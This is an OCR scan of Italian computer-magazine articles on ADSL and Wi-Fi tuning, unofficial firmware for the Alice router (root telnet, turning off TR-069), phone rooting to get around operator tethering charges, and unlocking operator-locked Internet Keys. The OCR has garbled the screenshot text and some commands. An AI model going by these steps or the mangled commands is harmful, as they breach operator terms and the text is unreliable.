ratorio potremo invece sbloccare in un clic i 
parametri nascosti della con nessione Internet 
e raddoppiare la banda ADSL! 


<r0DAF«>NE DA 7 A 20 MeGA: CCM s 

Un'ottima notizia per tutti gli utenti proprio profilo alla nuova offerta è 
Vodafone: il noto operatore telefo- semplicissima: Vodafone ha infatti 
nico, infatti, offre a tutti i suoi clienti, attivato una pagina Web dedicata, 
sia i nuovi sia quelli che avevano già La migrazione, inoltre, è totalmente 
sottoscritto un abbonamento ADSL, gratuita. Colleghiamoci, innanzitut- 
una linea a banda larga fino a 20 to, alla pagina Web www.winmaga- 
Mega al posto della precedente so- zine.it/link/2377. Da qui clicchiamo 
luzione sino a 7 Mega. La procedura sul pulsante Attiva nel box Come 
per richiedere l'aggiornamento del attivare l'opzione 20 Mega. Nella 




schermata successiva effettuiamo 
l'accesso alla nostra area 190 Fai 
da te del sito Vodafone indicando 
usemame e password. Se non siamo 
ancora registrati creiamo un nuovo 
account cliccando su Registrati. 
Accederemo così alia pagina dedi¬ 
cata alla promozione. Selezionia¬ 
mo il numero di telefono relativo 
al contratto ADSL. Clicchiamo su 


La tua Offerta e continuiamo con 
Modifica. Selezioniamo la voce Vo¬ 
dafone Adsl fino a 20Mega e pre¬ 
mere Continua. Riceveremo così 
un SMS di notifica contenente le 
tempistiche dell'attivazione e poi 
un'e-mail con il numero di pratica. 
L'effettiva attivazione dell'offerta 
verrà confermata di nuovo tramite 
SMS ed e-mail. 
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ABBASSIAMO IL RUMORE OelLA NOSTRA hDSL 


Uno dei parametri più importanti 
per valutare la qualità della nostra 
linea ADSL è il rapporto segnale/ 
rumore, detto anche anche SNR (Si- 
gnal to Noise Ratio) o Noise Margin, 
che viene espresso in decibel (dB). 
Tale valore indica il disturbo che c'è 
sulla linea telefonica in quanto rap¬ 
presenta il rapporto tra la potenza 
del segnale ADSL e il rumore sulla 
linea. È chiaro quindi che quanto 


più tale valore è elevato, tanto mag- 
giore sarà la “qualità’ della nostra 
connessione a Internet.Tutti i router 
di fascia medio/alta indicano que¬ 
sto valore direttamente tra le voci di 
menu delllnterfaccia Web di confi¬ 
gurazione (che, lo ricordiamo, sono 
accessibili digitando l'IP del router 
nella barra indirizzi del browser). Un 
secondo valore da tenere in conto 
per la valutazione della qualità della 


propria ADSL è l'attenuazione della 
linea. Detto anche Line Attenuation, 
è l'indicatore di quanto viene de¬ 
gradato il segnale nel tragitto tra la 
centrale e il router e quindi misura 
la dispersione del segnale. Questo 
valore è influenzato soprattutto dalla 
distanza dalla centrale. A differen¬ 
za del rapporto segnale/rumore, il 
valore dell'attenuazione, misurato 
anch'esso in decibel, deve essere il 


più basso possibile. La tabella se¬ 
guente può tornarci utili per inter¬ 
pretare correttamente i valori di SNR 
e di Line Attenuation: se siamo trop¬ 
po distanti dalla centrale telefonica 
0 se il rapporto SNR è troppo basso, 
potrebbe non essere conveniente 
sottoscrivere un abbonamento ADSL 
a 20 Mega in quanto la nostra linea 
non ci permetterebbe di sfruttare 
appieno tutta la banda, e viceversa. 


Il router Alice mette le ali! 


Con una procedura non ufficiale gli smanettoni aggiornano il firmware del router Pirelli Alice Gate VolP 2 Plus Wi-Fi 
per accedere a tante funzionalità avanzate, tra cui quella che permette di variare il valore SNR. 



FUe Modifica vmaHzzd Jcrrr-nnie 
vinceflzo<>^incenzo-UmiJt:*$ trine» 19?.168.1.1 
Tryinq 193.168.1 1... 
onnccted to 193.168.1.1. 
èscape rtvarartor '“l*. 

Log level 3 
isrrrwMe: root 
Password: ••••••••••«• 

0iscus> systM Shell 
Teaporary seiting log levcl oft 


Busyfìox vl.ei (7M9.e9.e7 e7:3&««eee) nuilt in Shell (Itfsh) 
Enter (telp* for a Ust of built-in raanands. 

/ « adslctl ceofiqure snr l(] 


vincenzottvincenzo-linux.-'t ifcoofig ethO 192.168.1.2 



^ j Nel cuore del router 

■| I Innanzitutto smontano il router per accede- 
re alla scheda madre. Utilizzando un pezzo 
di filo elettrico, effettuano quindi un ponticeiio sui 
piedini J10. Accendono quindi il router e rimuovo¬ 
no il ponticello dopo aver verificato che rimanga 
attivo soltanto il LEO rosso. 


^ | La scelta delPindirizzo IP 

2 I Connettono il PC al router mediante cavo 
Ethernet e. servendosi della distribuzione 
Linux Ubuntu Live CD (www.ubuntu-it.org) avvia¬ 
no una sessione del Terminale. Danno quindi il 
comando sudo ifconfig eth0192.168.1.2 up net- 
mask 255.255.255.0seguito da Invio. 


^ i II firmware è aggiornato 

2 I Avviato ii browser, lo smanettone accede 
x««/alla pagina 192.168.1.1 per iniziare l'ag¬ 
giornamento dei router. Ciicca Sfoglia e raggiunge 
il percorso in cui ha salvato il firmware agpf_4.x.x 
(trovato sul Web). Conferma con Update Software 
e attende il riawio del dispositivo. 



vtnccn/o(fvtrK'ra;o-Unui:>i relrwt 193.IM 1.1 
Trytnq 193.1M.1.1... 

(onrwctMt TO 197.IMI 1 1 

i«g level ì 
verruMe- root 

•••••••••••» 

seuV" con! set /CMOp/mabled • 

■ T«rf>e*J t 

OiSfuv» foni fiHont 1 
-* sUrting opcnro reeor»»... 
opmrg reronf ended... 

■elutncd 9 


vinccn/opvincen/o ìinux $ teine! 19 ? IM.l.t 

Tryiwj 197 IM 1 1 . . 

romerred to 197 168 1 1 

ftcope chriretler is 

leq Icvet 1 

Usernaiie’ root 

Passwoid: •«•••••*•••• 

0mus> systes ->hcll 
TMper«ry serting top level off 


BusyBo)! vi 91 (?MS.e9.97 67:}8>M»6) Buitf in Shell (Ush) 
foter 'help* fot a list ot hotlT ir* 

/ 0 adsUtl (onIiQure snr | 


f L’assistenza è remota 

4 I Per evitare i'aggiomamento automatico del 
* firmware, che porterebbe alla perdita degli 
back, lo smanettone accede all’interfaccia Web del 
router e ciicca Remote Administration in Advanced. 
Da qui, toglie la spunta da Enabied in TR-069 e 
conferma con OK. 


^ ? Anche via teinet 

g I Lo smanettone avvia una sessione dei Ter- 
minale e accede al router tramite teinet: 
digita dunque il comando teinet 192.168.1.1 e si 
autentica come admin. Lancia ii comando conf set 
/cwmp/enabied 0 e carica le nuove impostazioni 
digitando conf reconf 1. 


^ Modifica deirSNR 

t Via teinet, lo smanettone lancia il comando 
^ System Shell e avvia la console BusyBox. 
Da qui, digita adsicti configure -snr 1 e assegna 
ii miglior SNR raggiungibile. In base alla stabilità 
della propria linea (vedi tabella), lo smanettone uti¬ 
lizza un vaiore compreso tra 1 e 100. ► 
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UNA CONNESSIONE INTERNET A PROVA DI INTERRUZIONE 

Ecco i valori giusti da impostare per configurare al meglio il nostro router e navigare su Internet senza fastidiosi rallentamenti. 


PARAMETRI 

! ALICE 

UBERO 

TELETU 

TISCALI 

VPI 

8 

8 

8 

8 

VCI 

35 

35 

35 

35 

INCAPSULAMENTO 

VCMUX 

VCMUX 

VCMUX/NULL 

VCMUX 

PROTOCOLLO 

PPPoA oppure PPPoE 

PPPoA oppure PPPoE 

PPPoA 

PPPoA 

MODULAZIONE 

Multimode 

Multimode 

Multimode 

Multimode 

DNS PRIMARIO 

80.20.6.36 

193.70.152.15 

193.12.150.2 

213.205.32.70 

DNS SECONDARIO 

212.216.112.112 

193.70.152.25 

212.247.152.2 

213.205.36.70 

USERNAME 

aliceadsl 

benvenuto 

Comunicato al cliente 

Indicato nel contratto 

PASSWORD 

aliceadsl 

ospite 

Comunicato al cliente 

Indicato nel contratto 


ELIMINIAMO GLI OSTACOLI PER IL Wi-FI 

Abbiamo visto che le linee ADSL sono soggette a interferenze di vario tipo che possono rallentare la navigazione sul Web. Il problema 
è ancora più sentito per le reti Wi-Fi. Ecco come migliorare in un lampo le prestazioni della WLAN posizionando al meglio il router. 


FORNO A MICROONDE 

Il forno a microonde è stato il primo di¬ 
spositivo di uso domestico ad emettere inter¬ 
ferenza neila banda a 2,4 GHz, ia stessa usa¬ 
ta daile antenne wireless (computer, Bluetootb 
e cordiess). A differenza dei trasmettitori video 
analogici, le interferenze generate dai microonde 
si verificano soio quando il dispositivo è in uso. 
Ad ogni modo è conveniente tenersi almeno a 
una distanza di 7-8 metri o evitare di cucina¬ 
re qualcosa mentre si è impegnati a navigare. 




differenti, tuttavia i gadget più datati potrebbe¬ 
ro rappresentare un problema. 



CAVI DI CORRENTE 

Tutto ciò che ha del metallo al suo inter¬ 
no può degradare il segnale Wi-Fi. I cavi di cor¬ 
rente aggravano la situazione perché conducono 
elettricità ed emettono radiazioni elettromagne¬ 
tiche che creano disturbi alle frequenze radio. 

BLUETOOTH 

Anche se sfrutta una tecnologia diffe¬ 
rente per la trasmissione dei dati, il Bluetooth 
opera ugualmente nelle bande dei 2,4 GHz e 
quindi costituisce un potenziale disturbo per la 
rete W-Fi domestica. I nuovi dispositivi Blueto¬ 
oth risolvono il problema saltando su frequenze 




^ RIPETITORI VIDEO ANALOGICI 

Sono considerati come il nemico pub¬ 
blico numero 1 delle reti Wi-Fi e possono an¬ 
che impedire il rilevamento di qualsiasi SSID. 
Dal momento che il segnale è sempre acceso, 
anche in assenza di trasmissione video, que¬ 
sti ripetitori sono difficili da diagnosticare co¬ 
me fonte di interferenza e la loro portata è suf¬ 
ficientemente ampia da danneggiare anche le 
reti wireless dei nostri vicini. 


^ MATERIALI DI COSTRUZIONE 

La trasmissione del segnale può esse¬ 
re ostacolata non solo dall’interferenza di altri 
apparecchi presenti in casa, ma a volte è la ca¬ 
sa stessa ad essere d’ostacolo alla rete Wi-Fi! 
Più le mura sono spesse, più è difficile che le 



onde radio le attraversino. Col cemento arma¬ 
to, poi, la schermatura è ancora più forte e la 
perdita di segnale notewle. Il problema dipen¬ 
de anche dal tipo di materiali da costruzione. I 
mattoni, ad esempio, che contengono una cer¬ 
ta quantità d’acqua possono assorbire le onde 
sulla frequenza dei 2,4 GHz. Idem per le tuba¬ 
zioni dell’acqua che attraversano le pareti, per 
gli scaffali metallici e le pareti costruite in car- 
tongesso o in muratura con le reti metalliche 
inglobate all’Interno. Conviene sempre posizio¬ 
nare i dispositivi Wi-R in modo che non ci siano 
ostacoli frapposti tra ricevitore e trasmettitore 
per garantire la continuità del servizio. I mate¬ 
riali che causano un alto degrado del segnale 
sono: cemento armato, vetro antiproiettile, carta 
e metallo. Quelli che causano un degrado medio 
sono: acqua, mattoni e marmo. Quelli che cau¬ 
sano un basso degrado del segnale sono: ve¬ 
tro, legno, plastica, materiali sintetici e amianto. 

ALTOPARLANTI WIRELESS 
E CONTROLLER SENZA FILI 

I cavi che corrono per il oavimento di casa non 
piacciono a nessuno. Fìagion per cui sempre più 
spesso vengono adottati dispositivi wireless che 
però potrebbero non solo creare interferenze al¬ 
la rete Wi-Fi, ma anche subirla a loro volta. Se 
si dispone di un impianto di speaker cordiess, 
quindi, l’audio potrebbe risultare disturbato. 

ALTRI DISPOSITIVI 

Bisogna aggiungere una serie di dispo¬ 
sitivi che contribuiscono a ridurre di un buon 
25% circa le performance del Wi-R. Le luci, gli 
specchi e anche l’acqua. Se tra il router e il PC 
c’è di mezzo un bagno o un acquario probabil¬ 
mente il segnale decadrà in maniera importante. 
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KOUTER Wl-FI: 
POSIZIONALO COSI 

Per migliorare la ricezione del segnale Wi-Fi 
all’interno della propria casa, è fondamentale 
trovare per il router senza fili una sistemazione 
idonea. Spesso, invece, si tende a "nasconderlo" 
per non rovinare l'estetica deH'arredamento, ma 
oggi è possibile acquistare modelli compatti, 
dotati di antenne integrate e dal design meno 
invasivo. Per ottenere una buona copertura per 
la propria rete WLAN cercare di attenersi il più 
possibile alle seguenti indicazioni; 

• posizionalo il router in posizione il più possibile 
centrale rispetto allo sviluppo dell'abitazione; 

• cerca una posizione che permetta di avere in 
visibilità le varie stanze dell'appartamento; 

• fai il modo che le antenne si trovino a una 
distanza superiore ai 20 cm dalle persone; 

• posiziona il router almeno a 1 metro da terra; 
■ allontana il router da altre fonti di disturbo; 

• evita di sistemarlo alllnterno di mobili, soprat¬ 
tutto se dotati di pareti metalliche; 

• evita di posizionarlo vicino a strutture me¬ 
talliche; 

• evita il più possibile che tra II router e il di¬ 
spositivo ricevente ci siano pareti di mezzo 
che possono creare attenuazioni del segnale, 
soprattutto se contengono metallo; 

• cerca di sfruttare la riflessione delle pareti per 
migliorare la copertura della WLAN. 


RADDOPPIA LA BANDA GRAZIE AL 3G/4G 


La banda della nostra ADSL non 
ci basta mai e vogliamo raggiun¬ 
gere velocità di navigazione 
ancora superiori? La soluzione 
giusta consiste nello sfruttare 
anche le reti mobile 3G e, so¬ 
prattutto, le velocissime 4G/Lte. 
Per farlo, possiamo munirci di 
un router come il FritzIBox 6840 
LTE, il primo ad essere dotato 
di uno slot per SIM card mobile 
compatibili con il veloce proto¬ 
collo Lte (www.fritzbox.eu/it). Il 


router utilizza tecnologia WLAN 
N di ultima generazione per tra¬ 
sferimenti fino a 300 MBit/s e 
una portata WLAN decisamente 
maggiore grazie all'utilizzo del¬ 
la doppia banda a 2,4 GHz o 5 
GHz. Grazie alla porta USB 2.0, 
inoltre, è possibile condividere 
facilmente in rete stampanti e 
supporti di archiviazione, crean¬ 
do cosi un perfetto Media Server 
che permette di accedere a file 
musicali, foto e video da tutti i 


dispositivi di casa. Infine, grazie 
all'applicazione FRITZIApp Fon 
permette di integrare iPhone 
e smartphone Android nella 
WLAN domestica. In alternativa, 
è possibile utilizzare il Fritzibox 
Fon WLAN 7113: è sufficiente 
collegare al router i telefoni di 
casa e alzare la cornetta per par¬ 
lare via Internet tramite Voice 
over IP, senza accendere il PC 
e senza cambiare numero di 
telefono! 



■ Il nuovo FritzIBox 
6840 LTE integra 
uno slot per SIM Lte: 
permette quindi di 
sfruttare anche le 
veloci reti mobile per 
raddoppiare la nostra 
banda ADSL 


Quanto è potente la tua WLAN? 


Prima di scealiere la terapia occorre formulare la diagnosi, che dovrà accertare il punto debole della rete wireless. 
Per fòrio bastano un notebook e un programma come Ekahau HeatMapper. 



^ da Pianta delPaDDartamento 

I Disponendo della piantina deH'appartamen- 

to sarà molto più facile stabilire una dia¬ 
gnosi. Se abbiamo solo una stampa, effettuiamo¬ 
ne una scansione e salviamo l’immagine in for¬ 
mato JPEG. In caso contrario, basterà anche uno 
schizzo e potremo orientarci con la griglia fornita 
dal programma. 


^ i Subito onerativi 

2 I Installiamo il software su un notebook e 
attiviamo la connessione alla rete wireless. 
Scegliamo se lavorare su una piantina (I bave a 
map image) o con la griglia inclusa nel program¬ 
ma (/ don ’t bave a map imagd,. Fissiamo con un 
clic la nostra posizione, contrassegnata da un pun¬ 
to verde. 


A Analizziamo la rete 

Spostiamoci per l’appartamento e fissiamo 
altre posizioni. Al termine cucchiamo col 
tasto destro sull’immagine a video: HeatMapper 
visualizzerà la rete WLAN. Le superfici di coiore 
verde indicano buona ricezione, quelle di colore 
arancione/rosso evidenzieranno invece una cat¬ 
tiva connessione. ■ 
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Naviga senza limiti 
con lo smartphone 


Le applicazioni e i trucchi per raddoppiare i GB 
mensili di traffico Internet a nostra disposizione 


C on la sempre maggiore diffusio¬ 
ne di smartphone e tablet è au¬ 
mentalo ovviamente il traffico 
Internet mobile. Operazioni ormai 
quotidiane come il controllo della 
posta elettronica, la pubblicazione 
dei post sul profilo Facebook e le 
conversazioni in chat con gli amici 
le eseguiamo senza più avviare il 
computer. Per non parlare poi del 
vantaggio di essere sempre on-line 
ovunque ci troviamo. Per fortuna, le 
offerte degli operatori non manca¬ 
no e riguardano sia la navigazione 
da telefonino, sia quella da Internet 
Key, dandoci quindi la possibilità 
di rimanere sempre collegati con il 
mondo intero. 


Navigare tutti^ 
navigare di piu 

Se navighiamo molto, però, è facile 
raggiungere le soglie massime pre¬ 
viste dal piano dati mobile, prima 
ancora della fine del mese. Esiste 
però un trucco “unofficial" che per¬ 
mette di comprimere i dati che si 
ricevono e di aumentare così fino 
al 500% le attività che si possono 
svolgere in Rete sfruttando al mas¬ 
simo la disponibilità di traffico 3G 
disponibile. Per metterlo in pratica 
è sufficiente installare sul proprio 
iPhone o sullo smartphone Android 
l’app gratuita Onavo Extend che, tra 
le altre cose, permette anche di co¬ 
noscere come i dati sono ripartiti tra 


i diversi utilizzi e sapere così quelli 
consumati dalle varie applicazioni. 
Affinché il tutto funzioni, viene in¬ 
stallato sul telefonino un profilo di 
configurazione in modo che i dati 
ricevuti passino da un server Web 
che provvede a comprimerli prima 
di farli arrivare alI'iPhone. Il tutto 
avviene in modo assolutamente tra¬ 
sparente all’utente che potrà cosi 
continuare ad utilizzare lo smart¬ 
phone come da abitudine. Chi in¬ 
vece non ha particolari problemi di 
traffico e usa una Internet Key per 
navigare in Rete può configurare 
un router per condividere con più 
persone la connettività. Scopriamo 
assieme in che modo. 


Cosaci 

occorrevi''/ 

MONitORAGGIO « 
TRAFFICO 

ONAVO ì 

EXTENDED i 

Quanto costa: Gratuito | 

: Sito Internet: f 

http://store.apple.coni/it .. 

? Note; L’app è ? 

disponibile anche per 
smartphone Android 1 
sul Google Ray Store | 


. INTERNET KEY 

; HUAWEI E173 x 

■ Quanto costa: € 19.00 - 

(attivando Super Internet 
3 GB di Tre Italia) ^ 

Sito Internet www.tre.it , 

1 

ROl/TER 3G I 

TP-LINK ì 

MR3020 l 

Quanto costa: € 39.<» 

Sito Internet: } 

www.tp-link.it ; 


OSfmtta tutta la rete 3G 


Installando l’app Onavo Extended sullo smartphone possiamo comprimere i dati trasmessi durante la connessione 
mobile a Internet per non consumare tutto il traffico disponibile. Ecco come configurarla al meglio. 


Questo dispositivo non è registrato. 
Per registrarlo, inserisci il tuo indirizzo e- 
mail; 


example@email.COTTI j 

Ì 


Stendi il tuo pfarro 



Descrizione 


Onavo 

Compatta i tuoi dati 

O Verificato 

Ti invitiamo a installare II tuo 
profilo Onavo per completare il 
processo 


In ttiis session you saved: 

10,15 


MB 

^ ot esUmeted total download: 

■'.'S’y 


S 


"—* 



^ installiamo il profilo 

Avviata l'app, abilitiamo le notifiche push, 
inseriamo la nostra e-mail per la registrazio¬ 
ne e tocchiamo Estendi il tuo piano dati. Premiamo 
Continue più volte fino ad arrivare alla finestra Con¬ 
tinue To Insali Profile. Se ne aprirà una nuova con 
scritto Installa profilo, tocchiamo Installa. 


^ ì Navigare senza limiti 

2 I II servizio è attivo e funzionante. Possiamo 
"amili? subito iniziare a navigare sul Web, inviare le 
nostre e-mail e cosi via: Onavo prowederà a com¬ 
primere il traffico dati generato in 3G in modo da 
consumare meno e consentirci di sfruttare il nostro 
piano di navigazione per un tempo maggiore. 


^ : 1l risparmio è garantito 

3 ! Toccando l’ingranaggio in alto a destra acce- 
diamo ai Settings per controllare il traffico 
risparmiato (Onavo comprime i dati che si ricevono, 
non quelli che si inviano). In Data Sai/ertocchiamo la 
freccia a sinistra per accedere alla finestra Sessbn 
DetailsccH dettaglio del traffico dati. 
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LO SMARTPHONE TI RUBA IL CREDITO 


Tutti gli smartphone di ultima generazione integrano 
la funzione di tethering per condividere la banda 
larga mobile per navigare col notebook o col ta¬ 
blet sfruttando lo smartphone come router Wi-Fi. 
In pratica, attivando questa funzionalità è possibile 
configurare una piccola rete locale per consentire a 
tutti i dispositivi di collegarsi a Internet. Con le ultime 
versioni di Android dalla 4.1.2 in poi, però, gli indirizzi 
IP assegnati al singoli dispositivi non vengono più 
"nattati”, diventando quindi visibili su Internet. Ciò 
comporta che alcuni operatori applicano a questi 
indirizzi la normale tariffazione per il collegamento 
a Internet, costringendoci a pagare due volte per 
navigare sul Web, anche se continuiamo a sfruttare 
il traffico compreso nel piano tariffario. Con un sem¬ 
plice trucco, però, possiamo tornare a sfruttare il 
tethering del nostro smartphone e tornare a navigare 
senza spendere un centesimo in più! Acquisiamo 
innanzitutto i diritti di amministratore. La procedura 
che vedremo nei passi è quella relativa al Samsung 
Galaxy S2. Colleghiamoci al sito twinmagazine.it/ 


link/2276 e scarichiamo il file Odin v7.83.ror cuc¬ 
cando Download. Verifichiamo il kernel installato 
nello smartphone digitando *#7234# da tastierino 
numerico. Colleghiamoci a www.winmagazine.it/ 
llnk/2277 e scarichiamo il file corretto, verificando 
che corrispondano almeno la penultima e terzultima 
lettera del nome con quella già installata. Scompat¬ 



tiamo l'archivio compresso del nuovo kernel: al suo 
interno troveremo il nuovo aggiornamento in formato 
TAR. Avviamo Odin, clicchiamo PDA e selezioniamo il 
file del kernel. Riavviamo lo smartphone in modalità 
Download Mode premendo contemporaneamente 
i tasti Power, Home e Volume giù e colleghiamolo al 
PC via USB. Se il dispositivo viene correttamente rico¬ 
nosciuto da Odin, nel campo Messole comparirà 
Added e lo slot in alto ID;COM cambierà colore. 
Se tutto è corretto, cucchiamo sul pulsante Start. 
Pochi secondi e Odin farà il suo dovere: il root è 
attivo! Per conférma, verifichiamo la presenza nel 
menu delle applicazioni del programma SuperSU. 
Possiamo quindi scollegare lo smartphone dal 
computer e riavviarlo normalmente. A questo 
punto, da Google Play cerchiamo l'app Tether 
Uniocker. installiamola tappando Installa e poi 
avviamola con Apri. Al primo avvio, l'app mostrerà 
un breve messaggio pubblicitario. Al termine, 
dalla sua interfaccia principale tappiamo 5t>/occo 
il tethering. 


Internet Key come router 

Attivato il giusto piano tariffario sulla nostra SIM telefonica, trasformiamo una semplice Internet Key 
in un vero e proprio router senza fili! Ecco come fare con il TP-Link MR3020. 



Non connesso 


j Sono disponìbili connessioni 


Connessione rete wireless 

" 1 

1 TP-LINK_POCKET_3020.C026CA 

^1 

1 EDMAP2 

2j 



^| Un nuovo hotSDot 

"1 I Dopo aver collegato il nostro router 3G 
•wAalla rete elettrica, spostiamoci sul PC 
e ricerchiamo la nuova rete Wi-Fi TP-LINK_ 
P0CKET_3020. Proviamo a connetterci e, quan¬ 
do richiesto, inseriamo la chiave di accesso (dia¬ 
mo un'occhiata al manuale d'uso del dispositivo). 


^ Collegamento in corso 

2 . Inseriamo la SIM sulla quale abbiamo atti- 
vate il piano tariffario Internet e inseriamola 
nello slot della Internet Key. Non ci resta che col¬ 
legare quest'ultima all’ingresso USB presente sul 
lato del router 3G: attendiamo qualche secondo 
affinché venga riconosciuta. 


Adesso è tutto pronto! 

3 ; Dal PC awiamo il browsef e raggiungiamo l'indi- 
rizzo 192.168.0.254. Spostiamoci in Network e 
cicchiamo Internet Access. Abilitiamo la voce 3G/4G Oniy. 
Sempre in Network è presente la voce 3G/4G. dal menu 
Locatìon selezioniamo Itafye indchamo il piano dati in uso. 


ECCO COME RADDOPPIARE I GB DI TRAFFICO A COSTO ZERO 

Se siamo già clienti TIM o abbiamo un numero di rete fìssa Telecom Italia possiamo ottenere il doppio di traffico Internet 
su smartpnone o Internet Key senza spendere un euro. 



OFFERTA 

GB MENSILI 

CLIENTE TELECOM 0 TIM 

COSTO MENSILE 

INTERNET START 

2 

4 

€10.00 

INTERNET LARGE 

5 

10 

€20.00 

INTERNET 42.2 

10 

20 

€25.00 

INTERNET 4G 

154G/Lte 

30 

€35.00 
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Faldate | Internet Key: si sbloccano così 


Internet Key: si 
sbloccano così 

Ecco come i pirati riescono a bypassare le limitazioni delle chiavette 
Internet per navigare utilizzando la SIM di qualsiasi operatore 


L e Internet Key hanno avuto 
una notevole diffusione per¬ 
ché consentono di navigare 
in libertà praticamente ovunque. 
Spesso questi dispositivi sono for¬ 
niti in comodato d’uso o venduti 
a prezzi stracciati sottoscrivendo 
un abbonamento di navigazione 
col gestore di telefonia mobile. 
L’operatore, però, inserisce a volte 
un blocco nel dispositivo per im¬ 
pedire che possa essere utilizzato 
con altre SIM. Questo blocco può 
risiedere nel software di gestione 
della connessione o nel firmware 
della chiavetta. Nel primo caso, un 


pirata riesce facilmente a sbloccare 
la Internet Key installando un sof¬ 
tware di gestione alternativo (detto 
dashboard) debrandizzato che ri¬ 
esce a procurarsi su Internet. Con 
la nuova dashboard il pirata potrà 
impostare il punto di accesso di 
qualsiasi operatore e navigare con 
qualsiasi SIM. Se, invece, il blocco 
è sul firmware, la procedura è un 
po’ più complicata e non sempre è 
facile per il pirata procurarsi quello 
“no-lock". Sul Web ci sono servizi 
come www.kulankendi.com che 
permette di scaricare gratuitamen¬ 
te la dashboard no-brand per diver¬ 


si modelli di Internet Key tra cui le 
diffusissime Huawei. Per quelle che 
non è possibile eseguire lo sblocco 
attraverso l’aggiornamento della 
dashboard, fornisce la possibilità 
di acquistare un tool apposito al 
prezzo di 4 euro. L’aggiornamento 
del software di una Internet Key 
non è di per sé illegale, ma ne fa de¬ 
cadere la garanzia, quindi, si tratta 
di un’operazione che il pirata fa a 
suo rischio e pericolo. Nei passi 
seguenti vedremo come il pirata 
scarica e installa una dashboard 
sulla Huawei E172 brandizzata 
Vodafone. 


Cosaci 

occorre 

i 

■ SITO WEB 

KULANKENDI 

Quanto costa: Gratuito 
I Sito Internet 
t www.kulankendi.com 


£1 Dashboard senza limitazioni 


Ecco come il pirata si procura il software “unofficìal” per eliminare il blocco operatore della sua 
Internet Key e navigare in mobilità con la SIM card per lui più conveniente. 



^ I Installiamo la Internet Kev 

■j I La maggior parte delle Internet Key sono 
-«* 1 ^ dotate di una procedura autoinstallante. 
Quando la si collega per la prima volta al PC, viene 
avviato l'AutoPlay del setup e non bisogna fare altro 
che seguire la procedura guidata. Al successivo riav¬ 
vio, sarà avviata la dashboard. 


j Una chiavetta brandizzata 

2 I Le dashboard sono personalizzate dalLope- 
latore mobile, il quale rende disponibii solo 
I propri profili di connessione. Se prima i produttori 
consentivano di scaricare dashboard debrandizza- 
te, ora non è più possibile e il pirata se le procura 
da siti come www.kulankendi.com. 


-k. Ecco il file giusto! 

3 Nella sezione Downloadce\ sito il pirata cer¬ 
ca il file della dashboard per la key (sul suo 
retro trova modello e produttore) e lo scarica. È un file 
ZIP: lo decomprime cliccando col destro e sceglien¬ 
do Estrai tutto. In esso troverà il file per l’installazione 
della nuova dashboard. 
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[ Internet Key: si sbloccano così | Fai da te 


internet 


mio sblocco è servito 


In pochi passi il pirata installa il nuovo software di gestione per la sua Internet Key e configura il profilo 
corretto per connettersi alla Grande Rete con qualsiasi SIM card mobile. 




wWc o tw te Dashboartf Upa*tt Wbaro (B409) 

ThSf viitrtf yiu t* (««tt ita tat ta i *ra r«ur tki ta w t 
Otta Ctrt lo varai «e 7TFSU.09O.0l.tM.O9 

FJaaae roaO <ta foUootcM tlertao tcreaMr.t . ym «utt atcapi 
Ita a i ’ ptaa wt t» ccntliaa ita ««date 


iùtaS 

^ RS 


run’óssBT’ 


C>II7VU.T; Thlt DO-UtK Liceise acrvaMT.t 
Uà*) la a laaal tireeaan! beivesi you (alitar ae 
vidua] ar a alncli antlty) aad tuaóal Trctaeloclet 
Lt& (‘fiant'T far Ita aum Sefmra accoaeaavlnt 
tsla, «Mah lAcludea <«aeutar toftvare and aay 
gei aaaoelatad arala, erlrtea aaierlali. and 'onllm' 


Jt I arcaet ita acreaaiiT 
C I evrt aeeapt ita acreaaani 


1 «MtataM 

• «MuuOaliCM 

a 

ttaiic Mtttta li lliitd tal»* 


VCmÈÈKt [ 


C«—talcitlia p«rt 
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fSXlti.9.2.2.>«Z_»l. • 



VTF«|.S90.a.04.03 



asuesetattra 
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| Tutto in automatico 

I Prima di tutto il pirata rimuove la SIM dal- 
la Internet Key e collega il dispositivo a una 
porta USB del PC. Clicca quindi due volte sul file 
eseguibile scompattato nei passi precedenti per 
avviare la procedura guidata. Seleziona l'opzione / 
accept thè agreement e preme Next. 


^ : Dispositivo trovato! 

2 I II software di aggiornamento della dashbo- 
ard cercherà il dispositivo compatibile sul 
computer. Dopo pochi instanti la Internet Key verrà 
rilevata e. sullo schermo appariranno alcune infor¬ 
mazioni come la versione del software e il codice 
IME I. Al pirata non rimane che premere Next. 


^l AI riparo dai pericoli 

Q I Un messaggio metterà in guardia il pirata da 
««dv eventuali problemi neH'aggiornamento della 
dashboard. Per evitare che la procedura possa inter¬ 
rompersi, meglio usare un notebook con la batteria 
carica e non avviare altri software prima del suo com¬ 
pletamento. Se tutto è OK, preme Start. 


Compteifng Updat* Wizard 


E>ashbo8rd Update Wizard 


Upddte Success! 

New Version: UTPS11.030.0L04.03 
IMEt 3S448a026266742 


OK 


Click Finish to quit this vizard. 




-d. Attendere prego... 

4 ? Inizia la fase di aggiornamento della nuova 
dashboard. Il pirata sa che in questa fase è 
importante non fare nulla e attende che il tutto sia 
portato a termine. Una finestra gli mostrerà lo stato 
di avanzamento e, quando tutto è finito, gli apparirà 
il messaggio Update Successi. 




.A. « Così si presenta rinterfaccia 

y I Le dashboard debrandizzate e sbloccate 
quasi mai hanno un'interfaccia in italiano. 
Di solito è in inglese ma il pirata non avrà difficoltà 
a gestirla. Se la chiavetta è stata riconosciuta cor¬ 
rettamente, verrà indicato l'operatore della SIM, il 
tipo di rete e il livello del segnale. 


^ jì Una nuova installazione 

5 I Ora la chiavetta Internet è debrandizzata 
tatgf e andrà reinstallata sul PC come se fos¬ 
se nuova. Il pirata provvede a inserire la SIM con 
cui connettersi al Web e collega il dispositivo alla 
porta USB del PC per avviare VAutoPlay. Esegue 
poi VAutoRun per l'installazione della dashboard. 



^ I Un profilo per la SIM 

g |Per collegarsi a Internet con la nuova 
dashboard il pirata dovrà creare un profi¬ 
lo di connessione per la propria SIM. Va quindi in 
Options/Profile Management e clicca New. Asse¬ 
gna un nome al profilo, imposta YAPNper il proprio 
operatore e con Save salva il profilo appena creato. 


^j Tuttpqià visto 

0 I L’installazione della dashboard è simi- 
le a quella della versione personalizzata 
dall’operatore di telefonia mobile. Basta seguire i 
passi sul monitor completare tutto. Nel caso di una 
chiavetta Huawei la dashboard si chiamerà Mobile 
Partner e non avrà il logo di a cun operatore. 



^ . Connessipne eseguita 

0 « Il pirata può creare tanti profili quante sono 
le SIM che userà con la Internet Key. Andrà 
poi in Connections, selezionerà in Profile Name 
quello della SIM inserita e cliccherà su Connect 
per avviare la connessione. Con la nuova dashbo¬ 
ard potrà gestire anche SMS e rubrica contatti. 
